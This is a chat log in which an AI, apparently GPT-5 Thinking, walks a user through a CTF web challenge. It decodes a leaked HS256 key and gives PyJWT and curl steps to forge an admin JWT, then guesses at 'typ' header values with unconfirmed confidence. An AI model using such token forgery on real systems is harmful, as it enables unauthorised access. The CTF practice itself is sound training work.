分析这道CTF的web题目,题目为: Web 300-1 Friend of a Friend Fo...
创建于:2025年10月11日
使用 GPT-5 Thinking 回答 Chat01
创建于:2025年10月11日
使用 GPT-5 Thinking 回答 Chat01
分析这道CTF的web题目,题目为:
Web 300-1 Friend of a Friend
For this challenge we have a simulated web app in development. In fact, two web apps that share the same auth server. One is a “friends/profile” client, the other guards an admin API. Somewhere, scopes aren’t enforced correctly, and there's a leak. Your goal is to obtain the flag from the admin API.
Some features you can test:
GET /health → ok
GET / → overview page that should provide all the information you need on the features of the app.
访问后页面为:
text<div style="display:flex; gap:10px; margin:14px 0 6px"> <button class="btn" id="btnDemo">Try the demo flow</button> <a class="btn secondary" href="#docs">View API docs</a> </div> <h2 style="margin-top:22px">How it works</h2> <ol> <li>Kick off the demo auth to receive a one-time <code>code</code> at <code>/callback</code>.</li> <li>Exchange the code for a bearer token.</li> <li>Call the API with <code>Authorization: Bearer <token></code>.</li> </ol> <p class="hint">Developers: standard discovery is exposed (<a href="/.well-known/openid-configuration">openid-configuration</a>).</p> </section> <!-- right column --> <aside class="card"> <h2>Environment</h2> <div class="kvs"> <div>Issuer</div><div id="kv-iss">—</div> <div>Supported scopes</div><div><code>profile:read</code> <code>friends:read</code></div> <div>Token type</div><div><code>access_token</code> (JWT HS256)</div> </div> <p class="hint" style="margin-top:10px"> Tokens are JSON Web Tokens. Verify signature and claims as usual. </p> </aside> </div> <section id="docs" class="card" style="margin-top:20px"> <h2>API</h2> <div> <p><code>GET /api/whoami</code> — Echoes verified claims from your bearer token.</p> <pre>curl -s <span id="origin1"></span>/api/whoami \
-H "Authorization: Bearer <token>" | jq</pre>
text<p><code>GET /api/profile</code> — Requires scope <code>profile:read</code>.</p> <pre>curl -s <span id="origin2"></span>/api/profile \
-H "Authorization: Bearer <token>" | jq</pre>
text<p><code>GET /api/flag</code> — Requires a stricter token. The endpoint will tell you what it expects.</p> <pre>curl -s <span id="origin3"></span>/api/flag \
-H "Authorization: Bearer <token>" | jq</pre>
</div>
<p class="muted">Errors follow standard JSON semantics with <code>WWW-Authenticate</code> hints when applicable.</p>
</section>
</main> <script src="/static/config.js"></script> <script> // minimal UX: fill env bits & wire demo button const ORIGIN = location.origin; document.querySelectorAll("#origin1,#origin2,#origin3").forEach(n => n.textContent = ORIGIN); const iss = (window.__CFG__ && window.__CFG__.issuer) || "/.well-known/openid-configuration"; document.getElementById("kv-iss").textContent = iss; document.getElementById("btnDemo").addEventListener("click", () => { const state = Math.random().toString(36).slice(2); const redirectUri = ORIGIN + "/callback"; const scope = encodeURIComponent("profile:read friends:read"); const url = `/auth/start?client_id=profile-app&redirect_uri=${encodeURIComponent(redirectUri)}&scope=${scope}&state=${state}`; location.href = url; }); </script> </body> </html> 点击demo发送到/callback?code=uWiZ5PkBIWbxLyrBHTF1M_67yKKV88uH&state=5q20qa638gr 通过扫描获取到了/config.js下的内容 {"keys":[{"alg":"HS256","k":"ZGV2c2hhcmVkc2VjcmV0","kid":"dev-hs","kty":"oct"}]} 这是/.well-known/openid-configuration的内容: {"issuer":"https://friend.example/oauth","jwks_uri":"http://web300-1.pointeroverflowctf.com/.well-known/jwks.json","response_types_supported":["token","id_token token"],"scopes_supported":["openid","profile:read","friends:read"],"token_endpoint_auth_methods_supported":["none"]} 请分析text<footer> © FriendGraph Platform. For testing only. Do not use real credentials. </footer>
下面是这道题的完整分析与利用思路(含可直接复用的 PoC 模板)。
config.js
里了:
k: "ZGV2c2hhcmVkc2VjcmV0"
→ Base64URL 解码后是 devsharedsecret
。kid: "dev-hs"
,kty: "oct"
,说明这是 对称 JWK。/api/flag
会通过 WWW-Authenticate
/错误 JSON 告诉你它需要的 scope / audience 等具体要求,据此补齐 claim 再签名即可拿到 flag。题目描述里“scopes 没有正确强制 & 有泄漏(leak)”——泄漏就是把 HS256 的共享密钥塞进了前端
config.js
/JWKS,中间人谁都能签发“合法”token,自然可以越权申请 admin 权限。
Token type: access_token (JWT HS256)
。/.well-known/openid-configuration
返回:
issuer: "https://friend.example/oauth"
jwks_uri: "http://web300-1.pointeroverflowctf.com/.well-known/jwks.json"
scopes_supported: ["openid","profile:read","friends:read"]
(注意这里只列了 demo scope;/api/flag
需要的 scope 更严格,会在错误里提示)token_endpoint_auth_methods_supported: ["none"]
(进一步表明是个 Demo/弱保护环境)/static/config.js
(你已经拿到)里给了 JWK:
⇒ 对称密钥泄漏:json{"keys":[{"alg":"HS256","k":"ZGV2c2hhcmVkc2VjcmV0","kid":"dev-hs","kty":"oct"}]}
devsharedsecret
。目标:构造一个满足
/api/flag
要求的 HS256 JWT,并用它去拿 flag。
探测 /api/flag
需要什么
profile:read
token 去打:
bashcurl -i http://web300-1.pointeroverflowctf.com/api/flag # 或: curl -i http://web300-1.pointeroverflowctf.com/api/flag \ -H 'Authorization: Bearer <你的profile token>'
WWW-Authenticate: Bearer error="insufficient_scope", scope="..."
等)。flag:read
或 admin:read
等)以及是否要求aud(例如 aud=admin-api
)。用泄漏的密钥本地签一个“管理员级别”的 access_token
Header(保持题面给出的 kid
/alg
):
json{"alg":"HS256","kid":"dev-hs","typ":"JWT"}
Payload(按 /api/flag 的要求来;以下是模板,把尖括号内容替换成你在步骤 1 里探到的值):
json{ "iss": "https://friend.example/oauth", "sub": "admin", // 或任意;若接口要求特定主体可相应调整 "aud": "admin-api", // 若 /api/flag 要求 audience,就填它提示的那个 "scope": "<从错误提示抄的scope>", // 例:flag:read 或 admin:read "iat": <当前Unix秒>, "exp": <当前Unix秒+3600> }
有些实现看
scp
(数组)而不是scope
(空格分隔字符串)。保险起见可以两个都给:"scp": ["<scope值>"]
与"scope": "<scope值>"
同时放。
使用任意 JWT 库(Python/Node/OpenSSL 皆可)。下面给两个可直接用的方式:
A. Python(PyJWT)一把梭:
python# pip install pyjwt import jwt, time key = "devsharedsecret" # 从 config.js 解出的明文 now = int(time.time()) payload = { "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", # 若不需要aud,可删 "scope": "flag:read", # 用步骤1探到的真实scope "scp": ["flag:read"], # 兼容某些实现 "iat": now, "exp": now + 3600 } headers = {"alg":"HS256","kid":"dev-hs","typ":"JWT"} token = jwt.encode(payload, key, algorithm="HS256", headers=headers) print(token)
B. 直接在 jwt.io
VERIFY SIGNATURE
里把 Secret 填成 devsharedsecret
;用你伪造的 token 先打 /api/whoami
自检
bashcurl -s http://web300-1.pointeroverflowctf.com/api/whoami \ -H "Authorization: Bearer <your_forged_token>" | jq
iss/aud/scope
等。打 /api/flag
拿 flag
bashcurl -s http://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <your_forged_token>" | jq
401 invalid signature / signature verification failed
devsharedsecret
(不是 Base64 字符串,而是解码后的明文);kid
是否为 dev-hs
(有些后端会拿这个去选 key)。401 invalid issuer / iss mismatch
iss
写成 https://friend.example/oauth
(必须与 openid-configuration
里的完全一致)。401/403 invalid audience / aud required
/api/flag
很可能要求 aud: "admin-api"
(或其它固定值)。按返回提示补齐。403 insufficient_scope
WWW-Authenticate
或错误 JSON,照抄它的 scope 名。scp
数组而不是 scope
字符串——两个都给最稳。jwks_uri
,私钥保存在认证服务器。jwks_uri
必须 HTTPS,避免被中间人替换。iss
必须等于受信颁发者;aud
必须是该 API 的 audience(例如 admin-api
);exp/nbf
时间窗;scope
(或 scp
)包含所需权限,且不要靠前端声明。azp
/client_id
并做白名单校验。bashcurl -i http://web300-1.pointeroverflowctf.com/api/flag
devsharedsecret
(kid=dev-hs
)本地签一个含 iss=https://friend.example/oauth
、aud=<从上一步看到的>
, scope=<从上一步看到的>
的 HS256 JWT。bashcurl -s http://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <forged_jwt>" | jq
就这么简单,flag 到手。祝你一发入魂 🚀
伪造后访问/api/whoami返回{"aud":"admin-api","exp":1760158679,"iat":1760155079,"iss":"https://friend.example/oauth","scope":"flag:read","scp":["flag:read"],"sub":"admin"}
但是访问/api/flag返回
{"error":"invalid_token_type","hint":"need access_token"}
你这个报错基本可以确定是**“token 类型不对”**——/api/flag
不是只看 claims,它还在意 JOSE Header 里的 typ(以及/或 payload 里是否声明为 access token)。你现在的 whoami 能回显 claims,但它不显示 header,所以看不出问题;而 /api/flag
会校验“这是不是一个 access token”。
按 RFC 9068 (JWT Access Tokens),把 JOSE Header 里的 typ
设成 at+jwt
(而不是默认的 JWT
),然后再签。
typ
):json{"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}
json{ "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": <now>, "exp": <now+3600> }
config.js
解出来的明文:devsharedsecret
。python# pip install pyjwt import jwt, time key = "devsharedsecret" now = int(time.time()) payload = { "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": now, "exp": now + 3600 } headers = {"alg":"HS256","kid":"dev-hs","typ":"at+jwt"} # 关键在这行 token = jwt.encode(payload, key, algorithm="HS256", headers=headers) print(token)
然后直接:
bashcurl -s http://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <上面生成的token>" | jq
极少数实现会再看 payload 里是否带一种自定义标记。可以再同时加一个 payload 字段(两者并存不冲突):
json"token_type": "access_token"
但通常只把 header 的
typ
设为at+jwt
就能通过。
总结:
你已经把 iss/aud/scope/scp
都弄对了;把 JOSE Header 改成 typ: "at+jwt"
(表明这是“access token 的 JWT 轮廓”)再签,就能通过 /api/flag
的“need access_token”检查,拿到 flag。
curl -s https://web300-1.pointeroverflowctf.com/api/flag -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6ImRldi1ocyIsInR5cCI6ImF0K2p3dCJ9.eyJpc3MiOiJodHRwczovL2ZyaWVuZC5leGFtcGxlL29hdXRoIiwic3ViIjoiYWRtaW4iLCJhdWQiOiJhZG1pbi1hcGkiLCJzY29wZSI6ImZsYWc6cmVhZCIsInNjcCI6WyJmbGFnOnJlYWQiXSwiaWF0IjoxNzYwMTU1NDY0LCJleHAiOjE3NjAxNTkwNjQsInRva2VuX3R5cGUiOiJhY2Nlc3NfdG9rZW4ifQ.0fXP3eLOEqTn0TFREqo4JmXnJxqmvpke_Sznv-BJKw8" | jq
{
"error": "invalid_token_type",
"hint": "need access_token"
}
看起来 /api/flag
在做一个很原始的“token 类型”判断,而不是按 RFC 9068 去识别 typ: "at+jwt"
。你现在的 Header 是:
json{"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}
whoami
不校验类型所以能过;/api/flag
则直接报 invalid_token_type: need access_token
。
把 JOSE Header 里的 typ
改成 "access_token"
(就是它错误信息里的蛇形写法),其余不变:
json{"alg":"HS256","kid":"dev-hs","typ":"access_token"}
iss/aud/scope/scp/iat/exp
,token_type:"access_token"
可留可不留):json{ "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": <now>, "exp": <now+3600> }
devsharedsecret
(从 k
解出来的明文)PyJWT 最小 PoC:
pythonimport jwt, time key = "devsharedsecret" now = int(time.time()) payload = { "iss": "https://friend.example/oauth", "sub": "admin", "aud": "admin-api", "scope": "flag:read", "scp": ["flag:read"], "iat": now, "exp": now + 3600 } headers = {"alg":"HS256","kid":"dev-hs","typ":"access_token"} # 关键 tok = jwt.encode(payload, key, algorithm="HS256", headers=headers) print(tok)
然后:
bashcurl -s https://web300-1.pointeroverflowctf.com/api/flag \ -H "Authorization: Bearer <上面新token>" | jq
如果仍提示类型错误,再试 Header typ: "Bearer"
(某些框架这么用):
json{"alg":"HS256","kid":"dev-hs","typ":"Bearer"}
(Payload 不变)
解释:这题是刻意把“access token 类型识别”写得很死板;
whoami
只回显 claims,/api/flag
额外用 Header 的typ
进行二分类。把typ
改成它想要的字符串即可通过。